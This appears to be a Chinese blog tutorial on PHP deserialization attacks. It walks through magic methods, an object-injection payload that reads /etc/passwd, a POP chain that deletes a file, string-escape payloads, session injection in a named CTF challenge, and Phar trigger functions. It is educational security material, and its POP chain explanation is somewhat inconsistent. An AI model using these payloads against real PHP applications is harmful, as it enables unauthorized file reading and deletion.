PHP反序列化

之前一直没有认真学,最近认真学了一下才意识到反序列化的强悍之处

参考文献:PHP反序列化从初级到高级利用篇 - fish_pompom - 博客园

一、什么是 PHP 反序列化?

在 PHP 里,序列化是把一个对象或数组转换成字符串的过程(比如保存到文件或传输到网络),而反序列化就是把这个字符串还原成原来的变量(对象/数组)。

用 PHP 的两个函数表示就是:

$ser = serialize($obj);     // 序列化
$unser = unserialize($ser); // 反序列化

二、为什么反序列化会存在漏洞喵?

因为 unserialize() 在反序列化对象时,会自动调用一些类里面的特殊方法,比如:

  • __wakeup():反序列化时自动调用
  • __destruct():对象被销毁时自动调用
  • __toString():对象被当成字符串使用时调用
  • __call():调用不存在方法时触发
  • __invoke():对象被当函数调用时触发

如果这些方法里面有可以被控制的敏感操作(比如文件读写、命令执行等),就可能被利用形成漏洞

三、反序列化的经典利用流程喵!

我们以一个例子说明:

<?php
class Cat {
    public $name;
    public $file;

    function __destruct() {
        echo file_get_contents($this->file);
    }
}

$payload = $_GET['data'];
unserialize($payload);

攻击流程:

  1. 攻击者构造序列化数据:
$exploit = serialize(new Cat());
// 然后手动设置属性
$exploit = 'O:3:"Cat":2:{s:4:"name";s:3:"nya";s:4:"file";s:8:"/etc/passwd";}';
  1. 将 payload 传给程序:

http://target.com/vuln.php?data=O:3:"Cat":2:{s:4:"name";s:3:"nya";s:4:"file";s:8:"/etc/passwd";}

  1. unserialize() 还原为 Cat 对象,PHP 自动在脚本结束时调用 __destruct(),于是读取并输出了 /etc/passwd

需要具备反序列化漏洞的前提:

必须有 unserailize() 函数

unserailize() 函数的参数必须可控(为了成功达到控制你输入的参数所实现的功能,可能需要绕过一些魔法函数

四、PHP的魔法方法

PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。 常见的魔法方法如下:

__construct(),类的构造函数

__destruct(),类的析构函数

__call(),在对象中调用一个不可访问方法时调用

__callStatic(),用静态方式中调用一个不可访问方法时调用

__get(),获得一个类的成员变量时调用

__set(),设置一个类的成员变量时调用

__isset(),当对不可访问属性调用isset()或empty()时调用

__unset(),当对不可访问属性调用unset()时被调用。

__sleep(),执行serialize()时,先会调用这个函数

__wakeup(),执行unserialize()时,先会调用这个函数

__toString(),类被当成字符串时的回应方法

__invoke(),调用函数的方式调用一个对象时的回应方法

__set_state(),调用var_export()导出类时,此静态方法会被调用。

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

这些魔术方法是重点,构造pop链时要用

(1) __construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。
(2) __wakeup() :unserialize()时会自动调用
(3) __destruct():当对象被销毁时会自动调用。
(4) __toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
(5) __get() :当从不可访问的属性读取数据
(6) __call(): 在对象上下文中调用不可访问的方法时触发

其中特别说明一下第四点:

这个 __toString 触发的条件比较多,也因为这个原因容易被忽略,常见的触发条件有下面几种

(1)echo ($obj) / print($obj) 打印时会触发

(2)反序列化对象与字符串连接时

(3)反序列化对象参与格式化字符串时

(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

(5)反序列化对象参与格式化SQL语句,绑定参数时

(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时

(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8)反序列化的对象作为 class_exists() 的参数的时候

在我们的攻击中,反序列化函数 unserialize() 是我们攻击的入口,也就是说,只要这个参数可控,我们就能传入任何的已经序列化的对象(只要这个类在当前作用域存在我们就可以利用),而不是局限于出现 unserialize() 函数的类的对象,如果只能局限于当前类,那我们的攻击面也太狭小了,这个类不调用危险的方法我们就没法发起攻击。

但是我们又知道,你反序列化了其他的类对象以后我们只是控制了是属性,如果你没有在完成反序列化后的代码中调用其他类对象的方法,我们还是束手无策,毕竟代码是人家写的,人家本身就是要反序列化后调用该类的某个安全的方法,你总不能改人家的代码吧,但是没关系,因为我们有魔法方法。

魔法正如上面介绍的,魔法方法的调用是在该类序列化或者反序列化的同时自动完成的,不需要人工干预,这就非常符合我们的想法,因此只要魔法方法中出现了一些我们能利用的函数,我们就能通过反序列化中对其对象属性的操控来实现对这些函数的操控,进而达到我们发动攻击的目的。

五、pop链攻击

模拟场景:

我们有三个类:

class FileDeleter {
    public $filename;

    function __destruct() {
        unlink($this->filename); // 删除文件
    }
}

class User {
    public $log;

    function __construct() {
        $this->log = new FileDeleter();
    }
}

class Logger {
    public $filename;

    function __toString() {
        return $this->filename;
    }
}

假设程序逻辑是这样的:

$input = $_GET['data'];
unserialize($input);

利用思路:

  1. 构造一个 User 对象;
  2. User->log 变成 Logger 对象;
  3. Logger->__toString() 返回攻击者控制的 filename
  4. 最终 FileDeleter->__destruct() 里调用了 unlink($this->filename),执行了删除文件的动作

Payload 构造如下:

<?php

class FileDeleter {
    public $filename;
}

class User {
    public $log;
}

class Logger {
    public $filename;
}

// 构造 POP 链结构
$logger = new Logger();
$logger->filename = "/tmp/hack.txt";

$deleter = new FileDeleter();
$deleter->filename = $logger;

$user = new User();
$user->log = $deleter;

// 输出 payload
echo serialize($user);

输出的就是 POP 链 payload:

O:4:"User":1:{s:3:"log";O:12:"FileDeleter":1:{s:8:"filename";O:6:"Logger":1:{s:8:"filename";s:13:"/tmp/hack.txt";}}}

当反序列化这个 payload 时:

  • 调用了 User->__destruct()(PHP 自动触发)
  • FileDeleter->__destruct() 被调用
  • unlink($logger),会隐式调用 Logger->__toString()
  • → 返回 "/tmp/hack.txt",删除成功!

常见 POP 链技巧

技巧

描述

控制属性

控制对象内部属性,比如 $this->file

$this->cmd

利用魔术方法

构造执行流,比如 __destruct

__call

__toString

利用框架类

利用已有框架(Laravel、ThinkPHP、Yii)中的类构造 POP 链

利用反射

一些类会用 ReflectionClass

动态执行函数,也可用于构造链

自动注册类加载

某些类在 __autoload()

spl_autoload_register()

中加载也可以构链

六、反序列化中的“字符串逃逸”

在 PHP 中,serialize() 序列化字符串时,会记录字符串的长度,格式是:

s:<长度>:"<内容>";

举个栗子:

serialize("nyanya");

输出:

s:6:"nyanya";

如果攻击者想手动构造 payload,而他填入的字符串长度和实际内容不一致,就可能造成解析错误,甚至出现解析偏移逃逸注入等情况。

举个简单的例子:

function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hake",$name);
    return $name;

这里加入了对flag和php的过滤,会将这两个字符串替换为hake,我们注意到php和hake字符数量不同,所以就有可能有字符串逃逸漏洞

例如这个题目,这里的要求是让pass=escaping就可以输出flag,但是正常构造的话,我们传入的payload是不会改变pass的值的,pass=daydream,这时候就要用到字符串逃逸,将我们真正要传入的内容通过字符串增多的机制挤到外面,例如:

user=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

这里我们原本要传入的反序列化字符串有多长就在前面加多少个php,如图

这样就达成了字符串逃逸,将pass=escaping传入了

这里还有另一种字符串逃逸,会在下面那道[安洵杯 2019]easy_serialize_php的地方讲解

七、Session 反序列化

PHP 默认使用 serialize() 来保存 session 数据,当你写入 session 时,其实 PHP 是把它序列化后存到硬盘上(通常在 /tmp/sess_XXXXXX 这种文件),然后你访问的时候再 unserialize() 加载回来。

所以只要攻击者能控制 session 内容,就可能造成 反序列化漏洞

存在漏洞的前提:

  1. 程序使用了 $_SESSION 存储对象或用户可控数据
  2. 攻击者能控制 session 数据(通过 session_id()session.auto_startsession.save_path 配合文件包含等)
  3. 对象存在魔术方法(__destruct, __wakeup, __toString 等)可以被利用

例如这道题:

[安洵杯 2019]easy_serialize_php

<?php

  $function = @$_GET['f'];

function filter($img){
  $filter_arr = array('php','flag','php5','php4','fl1g');
  $filter = '/'.implode('|',$filter_arr).'/i';
  return preg_replace($filter,'',$img);
}


if($_SESSION){
  unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
  echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
  $_SESSION['img'] = base64_encode('guest_img.png');
}else{
  $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
  highlight_file('index.php');
}else if($function == 'phpinfo'){
  eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
  $userinfo = unserialize($serialize_info);
  echo file_get_contents(base64_decode($userinfo['img']));
}

也是比较良心的给出了源码,这里经过审计,我们发现大概是可以通过更改session的内容进行反序列化

首先是在php文件中找到dog_f1ag.php文件,猜测这个文件中存有flag,首先直接构造访问肯定是不行的,我们尝试一下字符串逃逸

post传参:

_SESSION['flagflag']=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

结果a:1:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";},这里就造成img不成为一个键,也就无法进行加密

过滤掉flag有a:1:{s:8:"";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}

使得绕过;s:51:""到达下一个分号,这时img成功逃逸出来,接下来的解题步骤就不细说了

八、Phar反序列化

什么是 Phar?

Phar(PHP Archive)是一种压缩包格式,允许 PHP 把一堆文件打包成一个 .phar 文件,像 .zip 一样可以解压,也可以当成普通文件一样 include、访问。

关键点在于:Phar 归档中可以携带元数据(metadata),这个 metadata 是以 PHP 序列化格式保存

phar文件结构

1. a stub

可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

2. a manifest describing the contents

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

3. the file contents

被压缩文件的内容。

4. [optional] a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾

漏洞产生的前提

触发点

PHP 有些函数在处理文件时,如果文件是 Phar 格式,就会自动触发反序列化解析 metadata,比如这些:

常见文件操作函数

函数名

说明

file_exists()

检查文件是否存在,会触发反序列化

is_file()

判断是不是文件,同样触发

is_dir()

判断是否是目录,也会触发

file_get_contents()

读取文件内容,会解析 metadata

file_put_contents()

写入文件时也可能触发(读取目标路径时)

copy()

拷贝文件(从 Phar 读入源路径时触发)

unlink()

删除文件,也会触发 metadata

rename()

改名时如果涉及 phar://

路径也触发

fopen()

打开文件流,访问 phar://

会触发

readfile()

直接输出文件内容,同样触发

图片类函数(处理 EXIF 时解析 phar)

函数名

说明

exif_read_data()

读取图片 EXIF,会触发 phar metadata

exif_thumbnail()

读取缩略图时也会触发

getimagesize()

获取图片大小也会触发

imagecreatefromstring()

创建图像资源时触发

imagecreatefromjpeg()

同上

imagecreatefrompng()

同上

imagecreatefromgif()

同上

Phar 函数自身

函数名

说明

Phar::__construct()

加载 Phar 文件就触发反序列化

PharData::__construct()

一样

Phar::loadPhar()

显式加载 Phar 文件时也会触发

Phar::mapPhar()

映射 Phar 到虚拟路径,也可能触发 metadata

利用链构造

只要你能让程序访问一个 phar://xxx 路径,并且程序有敏感类(如含有 __destruct__wakeup__toString),你就可以构造反序列化链条。

光是理论还是太难以理解了,让我们直接上题吧

[BUUCTF题解][SWPUCTF 2018]SimplePHP - Article_kelp - 博客园

大概是搞懂原理了,但是自己做还是做不出来,我还是继续沉淀吧

靶场,是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中,靶场扮演着重要的角色,尤其是在网络安全领域,靶场成为培养和提高安全专业人员技能的重要平台。 首先,靶场为安全从业者提供了一个模拟真实网络环境的平台。通过构建类似实际网络的拓扑结构、部署各种安全设备和应用,靶场可以模拟出多样化的网络攻防场景。这使得安全人员能够在安全的环境中进行实际操作,全面提升其实战能力。 其次,靶场是渗透测试和漏洞攻防演练的理想场所。在靶场中,安全专业人员可以模拟攻击者的行为,发现系统和应用的漏洞,并进行渗透测试,从而及时修复和改进防御机制。同时,这也为防御方提供了锻炼机会,通过对抗攻击提高防御能力。 靶场的搭建还促进了团队协作与沟通。在攻防对抗中,往往需要多人协同作战,团队成员之间需要密切配合,共同制定攻击和防御策略。这有助于培养团队合作意识,提高协同作战的效率。 此外,靶场为学习者提供了一个安全的学习环境。在靶场中,学生可以通过实际操作掌握安全知识,了解攻击技术和防御策略。这样的学习方式比传统的理论课程更加生动直观,有助于深化对安全领域的理解。 最后,靶场也是安全社区交流的平台。在靶场中,安全从业者可以分享攻防经验,交流最新的安全威胁情报,共同探讨解决方案。这有助于建立更广泛的安全社区,推动整个行业的发展。 总体而言,靶场在信息安全领域具有重要地位,为安全专业人员提供了实战演练的机会,促进了团队协作与沟通,为学习者提供了安全的学习环境,同时也是安全社区交流的重要平台。通过靶场的实践操作,安全从业者能够更好地应对不断演变的网络威胁,提高整体的安全水平。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值